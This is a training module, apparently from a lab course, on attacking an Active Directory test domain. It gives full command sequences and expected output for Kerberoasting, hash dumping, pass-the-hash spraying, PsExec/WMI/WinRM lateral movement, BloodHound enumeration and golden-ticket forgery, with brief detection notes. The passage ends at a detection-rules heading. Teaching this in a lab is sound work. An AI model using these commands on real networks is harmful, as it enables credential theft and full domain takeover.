1085 lines
35 KiB
Markdown
1085 lines
35 KiB
Markdown
# MODULE 5: ACTIVE DIRECTORY THREAT EMULATION
|
|
|
|
## Learning Objectives
|
|
By completing this module, you will:
|
|
- Understand Active Directory architecture and Kerberos authentication
|
|
- Deploy a Windows domain environment with Domain Controller and endpoints
|
|
- Execute Kerberoasting attacks to extract and crack service account credentials
|
|
- Perform Pass-the-Hash and Pass-the-Ticket credential replay attacks
|
|
- Conduct lateral movement using PsExec, WMI, and Windows Management protocols
|
|
- Enumerate AD environments using BloodHound and PowerView
|
|
- Map AD attack techniques to MITRE ATT&CK framework
|
|
- Implement detection rules for identity-based attacks
|
|
|
|
---
|
|
|
|
## Key Concepts
|
|
|
|
### Active Directory (AD)
|
|
**Active Directory** is Microsoft's centralized identity and access management system, used by over 90% of enterprise networks. AD provides:
|
|
- **Authentication:** Verifies user/computer identities via Kerberos
|
|
- **Authorization:** Controls access to resources (files, printers, applications)
|
|
- **Directory Services:** Centralized database of users, computers, groups, policies
|
|
|
|
### Kerberos Authentication Protocol
|
|
|
|
```
|
|
User Domain Controller File Server
|
|
| | |
|
|
|---1. AS-REQ-----------> | (Request TGT) |
|
|
|<--2. AS-REP (TGT)------ | (Ticket Granting Ticket) |
|
|
| | |
|
|
|---3. TGS-REQ (TGT)----> | (Request Service Ticket) |
|
|
|<--4. TGS-REP (ST)------ | (Service Ticket) |
|
|
| | |
|
|
|---5. AP-REQ (ST)------------------------------> |
|
|
|<--6. Access Granted-------------------------------- |
|
|
```
|
|
|
|
**Key Terms:**
|
|
- **TGT (Ticket Granting Ticket):** Proves identity to Domain Controller
|
|
- **Service Ticket (ST):** Grants access to specific service (file share, SQL server)
|
|
- **SPN (Service Principal Name):** Identifier for services (e.g., `HTTP/web.apophis.local`)
|
|
- **NTLM Hash:** Password representation (used for Pass-the-Hash attacks)
|
|
|
|
### Why Active Directory is Critical Attack Surface
|
|
|
|
**Enterprise Reality:**
|
|
- 95% of Fortune 1000 companies use Active Directory
|
|
- Single compromised domain admin account = full network compromise
|
|
- Identity-based attacks bypass perimeter security (firewalls, VPNs)
|
|
- Most data breaches involve credential theft, not software exploits
|
|
|
|
**Common AD Attacks:**
|
|
1. **Kerberoasting:** Extract encrypted service tickets, crack offline
|
|
2. **Pass-the-Hash:** Use stolen NTLM hash without knowing plaintext password
|
|
3. **Golden Ticket:** Forge TGTs to impersonate any user
|
|
4. **DCSync:** Replicate AD database to steal all password hashes
|
|
|
|
---
|
|
|
|
## LAB 5.1: DEPLOY ACTIVE DIRECTORY DOMAIN
|
|
|
|
### Deploy Windows Server 2022 (Domain Controller)
|
|
|
|
```
|
|
1. CREATE VM IN PROXMOX:
|
|
- VM ID: 402
|
|
- Name: DC01-Apophis
|
|
- OS: Windows Server 2022 ISO
|
|
- CPU: 2 cores
|
|
- RAM: 4096 MB (4 GB minimum for AD)
|
|
- Disk: 60 GB
|
|
- Network: vmbr0, VLAN Tag: 400 (VICTIM_NET)
|
|
|
|
2. INSTALL WINDOWS SERVER:
|
|
- Select: Windows Server 2022 Standard (Desktop Experience)
|
|
- Custom installation: Select full disk
|
|
- Set Administrator password: P@ssw0rd! (for lab only)
|
|
|
|
3. CONFIGURE STATIC IP:
|
|
- Open: Settings > Network & Internet > Ethernet
|
|
- IP address: 10.10.4.100
|
|
- Subnet: 255.255.255.0
|
|
- Gateway: 10.10.4.1
|
|
- DNS: 127.0.0.1 (will point to itself after AD installation)
|
|
|
|
4. RENAME COMPUTER:
|
|
- Server Manager > Local Server > Computer Name > Change
|
|
- New name: DC01
|
|
- Restart when prompted
|
|
|
|
5. INSTALL ACTIVE DIRECTORY DOMAIN SERVICES:
|
|
- Server Manager > Manage > Add Roles and Features
|
|
- Server Roles: Check "Active Directory Domain Services"
|
|
- Click "Add Features" when prompted
|
|
- Click "Next" through wizard, then "Install"
|
|
- Wait 5-10 minutes for installation
|
|
|
|
6. PROMOTE TO DOMAIN CONTROLLER:
|
|
- Server Manager > Notification flag (yellow triangle)
|
|
- Click "Promote this server to a domain controller"
|
|
- Select: "Add a new forest"
|
|
- Root domain name: apophis.local
|
|
- Forest/Domain functional level: Windows Server 2016 (default)
|
|
- DSRM password: P@ssw0rd!
|
|
- Click "Next" through wizard
|
|
- Prerequisites Check: Click "Install"
|
|
- Server will automatically restart (takes 5-10 minutes)
|
|
|
|
7. VERIFY AD INSTALLATION:
|
|
- Login as: APOPHIS\Administrator
|
|
- Password: P@ssw0rd!
|
|
- Open: Active Directory Users and Computers (Start > search "dsa.msc")
|
|
- Expand apophis.local > See default OUs (Users, Computers, Domain Controllers)
|
|
```
|
|
|
|
### Deploy Windows 10 (Domain Endpoint)
|
|
|
|
```
|
|
1. CREATE VM IN PROXMOX:
|
|
- VM ID: 403
|
|
- Name: CLIENT01-Apophis
|
|
- OS: Windows 10 Pro ISO
|
|
- CPU: 2 cores
|
|
- RAM: 4096 MB
|
|
- Disk: 40 GB
|
|
- Network: vmbr0, VLAN Tag: 400
|
|
|
|
2. INSTALL WINDOWS 10:
|
|
- Select: Windows 10 Pro
|
|
- Create local user: labuser
|
|
- Password: Welcome1
|
|
|
|
3. CONFIGURE NETWORK:
|
|
- Settings > Network & Internet > Ethernet > Change adapter options
|
|
- Right-click Ethernet > Properties > IPv4
|
|
- IP address: 10.10.4.110
|
|
- Subnet: 255.255.255.0
|
|
- Gateway: 10.10.4.1
|
|
- DNS: 10.10.4.100 (Domain Controller IP)
|
|
- Click OK
|
|
|
|
4. VERIFY DNS RESOLUTION:
|
|
- Open Command Prompt
|
|
- Run: nslookup apophis.local
|
|
- Should resolve to: 10.10.4.100
|
|
- If not, check DC01 DNS service is running
|
|
|
|
5. JOIN DOMAIN:
|
|
- Settings > System > About > Rename this PC (advanced)
|
|
- Click "Change"
|
|
- Member of: Domain
|
|
- Domain: apophis.local
|
|
- Click OK
|
|
- Credentials: APOPHIS\Administrator / P@ssw0rd!
|
|
- Welcome message appears: "Welcome to the apophis.local domain"
|
|
- Restart when prompted
|
|
|
|
6. LOGIN AS DOMAIN USER:
|
|
- At login screen: Other user
|
|
- Username: Administrator
|
|
- Password: P@ssw0rd!
|
|
- Domain: APOPHIS (or APOPHIS\Administrator)
|
|
- Verify: whoami → apophis\administrator
|
|
```
|
|
|
|
### Create Vulnerable Service Account (Kerberoasting Target)
|
|
|
|
```powershell
|
|
# On Domain Controller (DC01), open PowerShell as Administrator
|
|
|
|
# CREATE ORGANIZATIONAL UNIT FOR SERVICE ACCOUNTS
|
|
New-ADOrganizationalUnit -Name "Service Accounts" -Path "DC=apophis,DC=local"
|
|
|
|
# CREATE SERVICE ACCOUNT WITH WEAK PASSWORD
|
|
New-ADUser -Name "svc_sql" `
|
|
-SamAccountName "svc_sql" `
|
|
-UserPrincipalName "svc_sql@apophis.local" `
|
|
-AccountPassword (ConvertTo-SecureString "Password123" -AsPlainText -Force) `
|
|
-Enabled $true `
|
|
-PasswordNeverExpires $true `
|
|
-Path "OU=Service Accounts,DC=apophis,DC=local"
|
|
|
|
# ASSIGN SERVICE PRINCIPAL NAME (SPN) - THIS MAKES IT KERBEROASTABLE
|
|
setspn -A MSSQLSvc/sqlserver.apophis.local:1433 apophis\svc_sql
|
|
|
|
# VERIFY SPN WAS SET
|
|
setspn -L svc_sql
|
|
# Expected output:
|
|
# Registered ServicePrincipalNames for CN=svc_sql,OU=Service Accounts,DC=apophis,DC=local:
|
|
# MSSQLSvc/sqlserver.apophis.local:1433
|
|
|
|
# ADD TO DOMAIN ADMINS (simulate high-privilege service account)
|
|
Add-ADGroupMember -Identity "Domain Admins" -Members svc_sql
|
|
|
|
# CREATE ADDITIONAL DOMAIN USERS FOR REALISM
|
|
New-ADUser -Name "John Smith" -SamAccountName "jsmith" -AccountPassword (ConvertTo-SecureString "Welcome1" -AsPlainText -Force) -Enabled $true
|
|
New-ADUser -Name "Jane Doe" -SamAccountName "jdoe" -AccountPassword (ConvertTo-SecureString "Summer2024!" -AsPlainText -Force) -Enabled $true
|
|
New-ADUser -Name "Bob Admin" -SamAccountName "badmin" -AccountPassword (ConvertTo-SecureString "Admin123" -AsPlainText -Force) -Enabled $true
|
|
|
|
# ADD BOB TO DOMAIN ADMINS
|
|
Add-ADGroupMember -Identity "Domain Admins" -Members badmin
|
|
|
|
# VERIFY USERS CREATED
|
|
Get-ADUser -Filter * | Select-Object Name, SamAccountName
|
|
```
|
|
|
|
**Why This Configuration is Vulnerable:**
|
|
- **Weak Password:** "Password123" is in common wordlists (rockyou.txt)
|
|
- **SPN Assigned:** Any domain user can request service ticket for this account
|
|
- **Password Never Expires:** No rotation policy (common in real enterprises)
|
|
- **Domain Admin Membership:** Cracking this account = full domain compromise
|
|
|
|
---
|
|
|
|
## LAB 5.2: KERBEROASTING ATTACK
|
|
|
|
### Understanding Kerberoasting
|
|
|
|
**Attack Flow:**
|
|
1. Attacker compromises low-privilege domain user account
|
|
2. Queries AD for all accounts with Service Principal Names (SPNs)
|
|
3. Requests service tickets for those accounts from Domain Controller
|
|
4. DC responds with tickets encrypted using service account's NTLM hash
|
|
5. Attacker takes tickets offline and cracks with hashcat/John (no account lockout)
|
|
6. If password is weak, attacker obtains plaintext credentials
|
|
|
|
**Why It Works:**
|
|
- Requesting service tickets is normal behavior (not suspicious)
|
|
- Encryption uses RC4/AES derived from password hash (not random key)
|
|
- Cracking happens offline at millions of guesses per second
|
|
- No failed login attempts (no account lockout)
|
|
|
|
### LAB 5.2.1: Kerberoasting with Impacket (from Kali Linux)
|
|
|
|
**Prerequisites:**
|
|
- Compromised domain credentials (jsmith / Welcome1)
|
|
- Network access to Domain Controller (10.10.4.100)
|
|
|
|
```bash
|
|
# FROM KALI LINUX (VLAN 200 - Red Team)
|
|
|
|
# STEP 1: VERIFY CONNECTIVITY TO DOMAIN CONTROLLER
|
|
ping 10.10.4.100
|
|
# Expected: Replies from 10.10.4.100
|
|
|
|
# STEP 2: VERIFY DNS RESOLUTION (if pfSense DNS configured)
|
|
nslookup apophis.local 10.10.4.100
|
|
# Expected: Name: apophis.local, Address: 10.10.4.100
|
|
|
|
# STEP 3: ENUMERATE SPNS WITH GETUSERSPNS.PY (Impacket)
|
|
GetUserSPNs.py apophis.local/jsmith:Welcome1 -dc-ip 10.10.4.100
|
|
|
|
# Expected Output:
|
|
# ServicePrincipalName Name MemberOf PasswordLastSet
|
|
# ------------------------------------- ------- ------------------------------------ -------------------
|
|
# MSSQLSvc/sqlserver.apophis.local:1433 svc_sql CN=Domain Admins,CN=Users,DC=apophis 2024-01-15 10:23:45
|
|
|
|
# STEP 4: REQUEST SERVICE TICKET AND SAVE TO FILE
|
|
GetUserSPNs.py apophis.local/jsmith:Welcome1 -dc-ip 10.10.4.100 -request -outputfile kerberoast_hashes.txt
|
|
|
|
# Expected Output:
|
|
# [-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
|
|
# ^ If you see this, sync time with: sudo ntpdate 10.10.4.100
|
|
|
|
# Successful output:
|
|
# $krb5tgs$23$*svc_sql$APOPHIS.LOCAL$MSSQLSvc/sqlserver.apophis.local:1433*$a1b2c3d4...
|
|
|
|
# STEP 5: VERIFY HASH FILE
|
|
cat kerberoast_hashes.txt
|
|
# Should contain Kerberos TGS-REP hash in John/Hashcat format
|
|
|
|
# STEP 6: CRACK WITH HASHCAT
|
|
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force
|
|
|
|
# -m 13100 = Kerberos 5 TGS-REP etype 23 (RC4-HMAC)
|
|
# --force = Ignore warnings (for VM environments)
|
|
|
|
# Expected Output (after 30-60 seconds):
|
|
# $krb5tgs$23$*svc_sql$APOPHIS.LOCAL...:Password123
|
|
|
|
# STEP 7: EXTRACT CRACKED PASSWORD
|
|
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --show
|
|
# Output: ...svc_sql...:Password123
|
|
|
|
# STEP 8: VERIFY CREDENTIALS WITH CRACKMAPEXEC
|
|
crackmapexec smb 10.10.4.100 -u svc_sql -p Password123 -d apophis.local
|
|
|
|
# Expected Output:
|
|
# SMB 10.10.4.100 445 DC01 [+] apophis.local\svc_sql:Password123 (Pwn3d!)
|
|
# "Pwn3d!" = Account has administrative access to target
|
|
```
|
|
|
|
**Alternative: Rubeus (from Windows endpoint)**
|
|
|
|
```powershell
|
|
# If you have foothold on CLIENT01 (Windows 10 domain-joined)
|
|
|
|
# Download Rubeus from GitHub (https://github.com/GhostPack/Rubeus)
|
|
# Transfer to CLIENT01 via SMB/HTTP
|
|
|
|
# Execute Rubeus
|
|
.\Rubeus.exe kerberoast /outfile:tickets.txt
|
|
|
|
# Expected Output:
|
|
# [*] Total kerberoastable users : 1
|
|
# [*] SamAccountName : svc_sql
|
|
# [*] DistinguishedName : CN=svc_sql,OU=Service Accounts,DC=apophis,DC=local
|
|
# [*] ServicePrincipalName : MSSQLSvc/sqlserver.apophis.local:1433
|
|
# [*] Hash written to tickets.txt
|
|
|
|
# Transfer tickets.txt to Kali for cracking
|
|
```
|
|
|
|
**Deliverable:** Screenshot showing:
|
|
1. GetUserSPNs.py enumeration output
|
|
2. Hashcat cracking success with plaintext password revealed
|
|
3. CrackMapExec verification showing "Pwn3d!"
|
|
|
|
---
|
|
|
|
## LAB 5.3: PASS-THE-HASH ATTACK
|
|
|
|
### Understanding Pass-the-Hash
|
|
|
|
**Concept:** Windows authentication can use NTLM hashes directly without needing plaintext passwords. If you steal a hash, you can authenticate as that user.
|
|
|
|
**Attack Scenario:**
|
|
1. Attacker compromises workstation with local admin access
|
|
2. Dumps LSASS memory to extract cached credentials (NTLM hashes)
|
|
3. Uses hash to authenticate to other systems via SMB/WMI/RDP
|
|
4. Repeats process to move laterally (spray-and-pray or targeted)
|
|
|
|
### LAB 5.3.1: Dumping NTLM Hashes with Secretsdump
|
|
|
|
```bash
|
|
# FROM KALI LINUX
|
|
|
|
# STEP 1: DUMP HASHES FROM DOMAIN CONTROLLER (requires admin creds)
|
|
secretsdump.py apophis.local/svc_sql:Password123@10.10.4.100
|
|
|
|
# Expected Output (NTLM hashes):
|
|
# [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
|
|
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71:::
|
|
# svc_sql:1104:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
|
|
# jsmith:1105:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634:::
|
|
|
|
# Format: username:RID:LM_hash:NTLM_hash:::
|
|
# LM hash (aad3b435...) = Empty/disabled (modern Windows)
|
|
# NTLM hash = What we need for Pass-the-Hash
|
|
|
|
# STEP 2: SAVE ADMINISTRATOR NTLM HASH
|
|
ADMIN_HASH="58a478135a93ac3bf058a5ea0e8fdb71"
|
|
# This is the NT hash for Administrator account
|
|
|
|
# STEP 3: PASS-THE-HASH TO CLIENT01 (without knowing plaintext password)
|
|
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:$ADMIN_HASH Administrator@10.10.4.110
|
|
|
|
# Breakdown:
|
|
# -hashes LM:NTLM (LM is always aad3b435b51404eeaad3b435b51404ee for empty)
|
|
# Administrator = username
|
|
# @10.10.4.110 = target (CLIENT01)
|
|
|
|
# Expected Output:
|
|
# [*] Requesting shares on 10.10.4.110.....
|
|
# [*] Found writable share ADMIN$
|
|
# [*] Uploading file [random].exe
|
|
# [*] Opening SVCManager on 10.10.4.110.....
|
|
# [*] Starting service [random] on 10.10.4.110.....
|
|
# [!] Press help for extra shell commands
|
|
# C:\Windows\system32>
|
|
|
|
# STEP 4: VERIFY ACCESS
|
|
whoami
|
|
# Output: nt authority\system (SYSTEM = highest privilege)
|
|
|
|
hostname
|
|
# Output: CLIENT01
|
|
|
|
# STEP 5: DUMP LOCAL SAM DATABASE (for more credentials)
|
|
reg save HKLM\SAM C:\Windows\Temp\sam
|
|
reg save HKLM\SYSTEM C:\Windows\Temp\system
|
|
|
|
# Download files to Kali (or use secretsdump on localhost)
|
|
```
|
|
|
|
**Alternative: CrackMapExec for Pass-the-Hash**
|
|
|
|
```bash
|
|
# TEST HASH AGAINST MULTIPLE TARGETS (spray technique)
|
|
crackmapexec smb 10.10.4.0/24 -u Administrator -H 58a478135a93ac3bf058a5ea0e8fdb71 --local-auth
|
|
|
|
# --local-auth = Use local accounts (not domain)
|
|
# /24 = Scan entire subnet
|
|
|
|
# Expected Output:
|
|
# SMB 10.10.4.110 445 CLIENT01 [+] CLIENT01\Administrator:58a478... (Pwn3d!)
|
|
# SMB 10.10.4.100 445 DC01 [+] APOPHIS\Administrator:58a478... (Pwn3d!)
|
|
|
|
# EXECUTE COMMANDS REMOTELY WITH PASS-THE-HASH
|
|
crackmapexec smb 10.10.4.110 -u Administrator -H 58a478135a93ac3bf058a5ea0e8fdb71 -x "whoami"
|
|
|
|
# -x = Execute command
|
|
# Expected Output: apophis\administrator
|
|
```
|
|
|
|
**Deliverable:**
|
|
- Screenshot showing secretsdump.py output with NTLM hashes
|
|
- Screenshot showing successful psexec.py shell with "nt authority\system"
|
|
|
|
---
|
|
|
|
## LAB 5.4: LATERAL MOVEMENT TECHNIQUES
|
|
|
|
### LAB 5.4.1: PsExec (Service-Based Execution)
|
|
|
|
**How PsExec Works:**
|
|
1. Connects to target via SMB (port 445)
|
|
2. Copies executable to ADMIN$ share (C:\Windows)
|
|
3. Creates and starts Windows service to run executable
|
|
4. Returns output via named pipes
|
|
|
|
```bash
|
|
# PSEXEC WITH CREDENTIALS
|
|
psexec.py apophis.local/svc_sql:Password123@10.10.4.110
|
|
|
|
# PSEXEC WITH HASH
|
|
psexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 Administrator@10.10.4.110
|
|
|
|
# PSEXEC TO DOMAIN CONTROLLER
|
|
psexec.py apophis.local/Administrator:P@ssw0rd!@10.10.4.100
|
|
|
|
# Expected Shell:
|
|
# C:\Windows\system32> whoami
|
|
# nt authority\system
|
|
```
|
|
|
|
**Detection Artifacts:**
|
|
- Service creation event (Event ID 7045)
|
|
- Network connection to ADMIN$/IPC$ shares
|
|
- Process with parent: services.exe
|
|
|
|
### LAB 5.4.2: WMIExec (Fileless Execution)
|
|
|
|
**Advantage over PsExec:** No file written to disk (fileless), harder to detect
|
|
|
|
```bash
|
|
# WMIEXEC WITH CREDENTIALS
|
|
wmiexec.py apophis.local/svc_sql:Password123@10.10.4.110
|
|
|
|
# WMIEXEC WITH HASH
|
|
wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 Administrator@10.10.4.110
|
|
|
|
# Expected Shell:
|
|
# C:\> whoami
|
|
# apophis\administrator
|
|
|
|
# EXECUTE SINGLE COMMAND (no interactive shell)
|
|
wmiexec.py apophis.local/svc_sql:Password123@10.10.4.110 "ipconfig"
|
|
```
|
|
|
|
**Detection Artifacts:**
|
|
- WMI process creation (Event ID 4688 with parent: WmiPrvSE.exe)
|
|
- Network: DCOM/WMI traffic (port 135 + ephemeral)
|
|
|
|
### LAB 5.4.3: SMBExec (Batch File Execution)
|
|
|
|
```bash
|
|
# SMBEXEC WITH CREDENTIALS
|
|
smbexec.py apophis.local/svc_sql:Password123@10.10.4.110
|
|
|
|
# Creates batch file in ADMIN$ share, executes via service
|
|
# More stealthy than PsExec (no executable dropped)
|
|
```
|
|
|
|
### LAB 5.4.4: Evil-WinRM (PowerShell Remoting)
|
|
|
|
**Prerequisite:** Target must have WinRM enabled (default on Servers, not Workstations)
|
|
|
|
```bash
|
|
# INSTALL EVIL-WINRM
|
|
sudo gem install evil-winrm
|
|
|
|
# CONNECT WITH CREDENTIALS
|
|
evil-winrm -i 10.10.4.100 -u Administrator -p 'P@ssw0rd!'
|
|
|
|
# CONNECT WITH HASH
|
|
evil-winrm -i 10.10.4.100 -u Administrator -H 58a478135a93ac3bf058a5ea0e8fdb71
|
|
|
|
# Expected Shell:
|
|
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
|
|
apophis\administrator
|
|
|
|
# UPLOAD FILES
|
|
upload /root/tools/mimikatz.exe C:\Windows\Temp\mimikatz.exe
|
|
|
|
# DOWNLOAD FILES
|
|
download C:\Windows\System32\config\SAM /root/loot/sam
|
|
```
|
|
|
|
---
|
|
|
|
## LAB 5.5: ACTIVE DIRECTORY ENUMERATION WITH BLOODHOUND
|
|
|
|
### Understanding BloodHound
|
|
|
|
**BloodHound** visualizes Active Directory relationships to identify attack paths:
|
|
- Who has admin rights on which computers?
|
|
- Shortest path from user X to Domain Admin?
|
|
- Which accounts have SPN (Kerberoastable)?
|
|
- Trust relationships between domains?
|
|
|
|
**Attack Workflow:**
|
|
1. Run SharpHound collector (PowerShell/C#) on domain-joined machine
|
|
2. Generates JSON files with AD relationships
|
|
3. Import into BloodHound GUI to visualize
|
|
4. Query for attack paths (e.g., "Shortest Path to Domain Admins")
|
|
|
|
### LAB 5.5.1: Install BloodHound on Kali
|
|
|
|
```bash
|
|
# STEP 1: INSTALL NEO4J (graph database)
|
|
sudo apt update
|
|
sudo apt install neo4j bloodhound -y
|
|
|
|
# STEP 2: START NEO4J DATABASE
|
|
sudo neo4j console
|
|
# Wait for "Started" message
|
|
# Access web UI: http://localhost:7474
|
|
# Default creds: neo4j / neo4j
|
|
# Change password when prompted: bloodhound123
|
|
|
|
# STEP 3: START BLOODHOUND GUI (new terminal)
|
|
bloodhound
|
|
# Login:
|
|
# Database URL: bolt://localhost:7687
|
|
# Username: neo4j
|
|
# Password: bloodhound123
|
|
```
|
|
|
|
### LAB 5.5.2: Collect AD Data with BloodHound Python Ingestor
|
|
|
|
```bash
|
|
# FROM KALI LINUX (no need to touch Windows machines)
|
|
|
|
# INSTALL BLOODHOUND-PYTHON
|
|
pip3 install bloodhound
|
|
|
|
# RUN COLLECTOR
|
|
bloodhound-python -u jsmith -p Welcome1 -d apophis.local -ns 10.10.4.100 -c All
|
|
|
|
# Parameters:
|
|
# -u = username
|
|
# -p = password
|
|
# -d = domain
|
|
# -ns = nameserver (DC IP)
|
|
# -c All = collect everything (users, groups, computers, sessions, trusts)
|
|
|
|
# Expected Output:
|
|
# INFO: Found AD domain: apophis.local
|
|
# INFO: Connecting to LDAP server: dc01.apophis.local
|
|
# INFO: Found 1 domains
|
|
# INFO: Found 1 domains in the forest
|
|
# INFO: Found 2 computers
|
|
# INFO: Found 5 users
|
|
# INFO: Found 0 trusts
|
|
# INFO: Starting computer enumeration...
|
|
# INFO: Done in 00M 12S
|
|
|
|
# OUTPUT FILES:
|
|
ls -lh *.json
|
|
# 20240115_computers.json
|
|
# 20240115_users.json
|
|
# 20240115_groups.json
|
|
# 20240115_domains.json
|
|
```
|
|
|
|
### LAB 5.5.3: Analyze Attack Paths in BloodHound
|
|
|
|
```
|
|
1. IMPORT DATA INTO BLOODHOUND:
|
|
- BloodHound GUI > Upload Data (right panel)
|
|
- Select all JSON files from previous step
|
|
- Wait for import to complete (shows # of nodes processed)
|
|
|
|
2. SEARCH FOR DOMAIN ADMINS:
|
|
- Search bar > Type "Domain Admins" > Select group
|
|
- Right-click node > "Mark Group as High Value"
|
|
- Graph shows all members (Administrator, svc_sql, badmin)
|
|
|
|
3. FIND KERBEROASTABLE ACCOUNTS:
|
|
- Analysis tab > "List all Kerberoastable Accounts"
|
|
- Should show: svc_sql with SPN MSSQLSvc/sqlserver.apophis.local:1433
|
|
|
|
4. FIND SHORTEST PATH TO DOMAIN ADMINS:
|
|
- Analysis tab > "Shortest Paths to Domain Admins"
|
|
- Shows graph of attack paths from low-privilege users
|
|
- Example: jsmith → CLIENT01 (LocalAdmin) → badmin (Session) → Domain Admins
|
|
|
|
5. FIND COMPUTERS WHERE DOMAIN ADMINS ARE LOGGED IN:
|
|
- Search for specific user (e.g., "Administrator")
|
|
- Click node > "Sessions" tab
|
|
- Shows CLIENT01, DC01 (indicates where admin is logged in = PtH target)
|
|
|
|
6. CUSTOM CYPHER QUERY (advanced):
|
|
- Raw Query box (bottom):
|
|
MATCH (u:User {hasspn: true}) RETURN u
|
|
- Returns all users with SPN (Kerberoastable targets)
|
|
```
|
|
|
|
**Key Queries to Practice:**
|
|
|
|
```cypher
|
|
# Find all Domain Admins
|
|
MATCH (n:Group {name:"DOMAIN ADMINS@APOPHIS.LOCAL"}) RETURN n
|
|
|
|
# Find computers with unconstrained delegation (privilege escalation vector)
|
|
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
|
|
|
|
# Find users with "Password Never Expires"
|
|
MATCH (u:User {pwdneverexpires:true}) RETURN u
|
|
|
|
# Shortest path from specific user to Domain Admin
|
|
MATCH (u:User {name:"JSMITH@APOPHIS.LOCAL"}), (g:Group {name:"DOMAIN ADMINS@APOPHIS.LOCAL"}), p=shortestPath((u)-[*1..]->(g)) RETURN p
|
|
```
|
|
|
|
**Deliverable:**
|
|
- Screenshot showing BloodHound graph with "Shortest Path to Domain Admins"
|
|
- Screenshot showing Kerberoastable accounts query result
|
|
|
|
---
|
|
|
|
## LAB 5.6: GOLDEN TICKET ATTACK (ADVANCED)
|
|
|
|
### Understanding Golden Tickets
|
|
|
|
**Golden Ticket** = Forged Kerberos TGT (Ticket Granting Ticket) that grants:
|
|
- Impersonation of ANY user (including non-existent accounts)
|
|
- Access to ANY resource in the domain
|
|
- Validity for 10 years (default Kerberos ticket lifetime)
|
|
|
|
**Requirements:**
|
|
- KRBTGT account NTLM hash (extract from Domain Controller)
|
|
- Domain SID (Security Identifier)
|
|
|
|
**Why It's Devastating:**
|
|
- Bypasses password changes (uses KRBTGT hash, not user password)
|
|
- Undetectable by normal monitoring (valid Kerberos ticket)
|
|
- Persists until KRBTGT password rotated (twice for full removal)
|
|
|
|
### LAB 5.6.1: Extract KRBTGT Hash
|
|
|
|
```bash
|
|
# FROM KALI LINUX (requires Domain Admin access)
|
|
|
|
# METHOD 1: SECRETSDUMP AGAINST DOMAIN CONTROLLER
|
|
secretsdump.py apophis.local/svc_sql:Password123@10.10.4.100 -just-dc-user krbtgt
|
|
|
|
# Expected Output:
|
|
# [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
|
|
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3a5c2e9f8b7e4a1c6f8d9e7b6a5c4e3:::
|
|
|
|
# SAVE KRBTGT HASH
|
|
KRBTGT_HASH="d3a5c2e9f8b7e4a1c6f8d9e7b6a5c4e3"
|
|
|
|
# METHOD 2: GET DOMAIN SID
|
|
lookupsid.py apophis.local/svc_sql:Password123@10.10.4.100
|
|
|
|
# Expected Output:
|
|
# [*] Domain SID is: S-1-5-21-1234567890-1234567890-1234567890
|
|
|
|
# SAVE DOMAIN SID (remove last part after final hyphen)
|
|
DOMAIN_SID="S-1-5-21-1234567890-1234567890-1234567890"
|
|
```
|
|
|
|
### LAB 5.6.2: Forge Golden Ticket
|
|
|
|
```bash
|
|
# CREATE GOLDEN TICKET WITH TICKETER.PY (Impacket)
|
|
ticketer.py -nthash $KRBTGT_HASH -domain-sid $DOMAIN_SID -domain apophis.local fakeadmin
|
|
|
|
# Parameters:
|
|
# -nthash = KRBTGT NTLM hash
|
|
# -domain-sid = Domain SID
|
|
# -domain = Domain name
|
|
# fakeadmin = Username to impersonate (can be anything, even non-existent)
|
|
|
|
# Expected Output:
|
|
# [*] Creating basic skeleton ticket and PAC Infos
|
|
# [*] Customizing ticket for apophis.local/fakeadmin
|
|
# [*] Signing/Encrypting final ticket
|
|
# [*] Saving ticket in fakeadmin.ccache
|
|
|
|
# EXPORT TICKET TO ENVIRONMENT VARIABLE
|
|
export KRB5CCNAME=/root/fakeadmin.ccache
|
|
|
|
# VERIFY TICKET
|
|
klist
|
|
# Expected:
|
|
# Ticket cache: FILE:/root/fakeadmin.ccache
|
|
# Default principal: fakeadmin@APOPHIS.LOCAL
|
|
# Valid starting Expires Service principal
|
|
# 01/15/24 10:00:00 01/25/34 10:00:00 krbtgt/APOPHIS.LOCAL@APOPHIS.LOCAL
|
|
```
|
|
|
|
### LAB 5.6.3: Use Golden Ticket for Access
|
|
|
|
```bash
|
|
# ACCESS DOMAIN CONTROLLER WITH GOLDEN TICKET
|
|
psexec.py apophis.local/fakeadmin@DC01.apophis.local -k -no-pass
|
|
|
|
# Parameters:
|
|
# -k = Use Kerberos authentication (golden ticket)
|
|
# -no-pass = Don't prompt for password
|
|
|
|
# Expected Output:
|
|
# [*] Requesting shares on DC01.apophis.local.....
|
|
# [*] Found writable share ADMIN$
|
|
# C:\Windows\system32> whoami
|
|
# apophis\fakeadmin
|
|
|
|
# LIST DOMAIN CONTROLLER C:\ DRIVE
|
|
smbclient.py -k -no-pass apophis.local/fakeadmin@DC01.apophis.local
|
|
|
|
# Expected: Access to C$ share with full admin rights
|
|
```
|
|
|
|
**Defensive Countermeasure:**
|
|
|
|
```powershell
|
|
# ON DOMAIN CONTROLLER (as recovery action)
|
|
|
|
# RESET KRBTGT PASSWORD (do this TWICE, 24 hours apart)
|
|
# First reset invalidates current golden tickets
|
|
# Second reset (after replication) fully removes old hash
|
|
|
|
# Use Microsoft script: https://github.com/microsoft/New-KrbtgtKeys.ps1
|
|
.\New-KrbtgtKeys.ps1 -WhatIf
|
|
# Review changes, then run without -WhatIf
|
|
|
|
# MONITOR FOR GOLDEN TICKET USAGE
|
|
# Event ID 4769 (Kerberos TGS request) with:
|
|
# - Ticket encryption type: 0x17 (RC4)
|
|
# - Account name: Non-existent user
|
|
# - Ticket lifetime: Unusual (>10 hours)
|
|
```
|
|
|
|
---
|
|
|
|
## DEFENSIVE DETECTION & BLUE TEAM RESPONSE
|
|
|
|
### Detection Rules for Kerberoasting
|
|
|
|
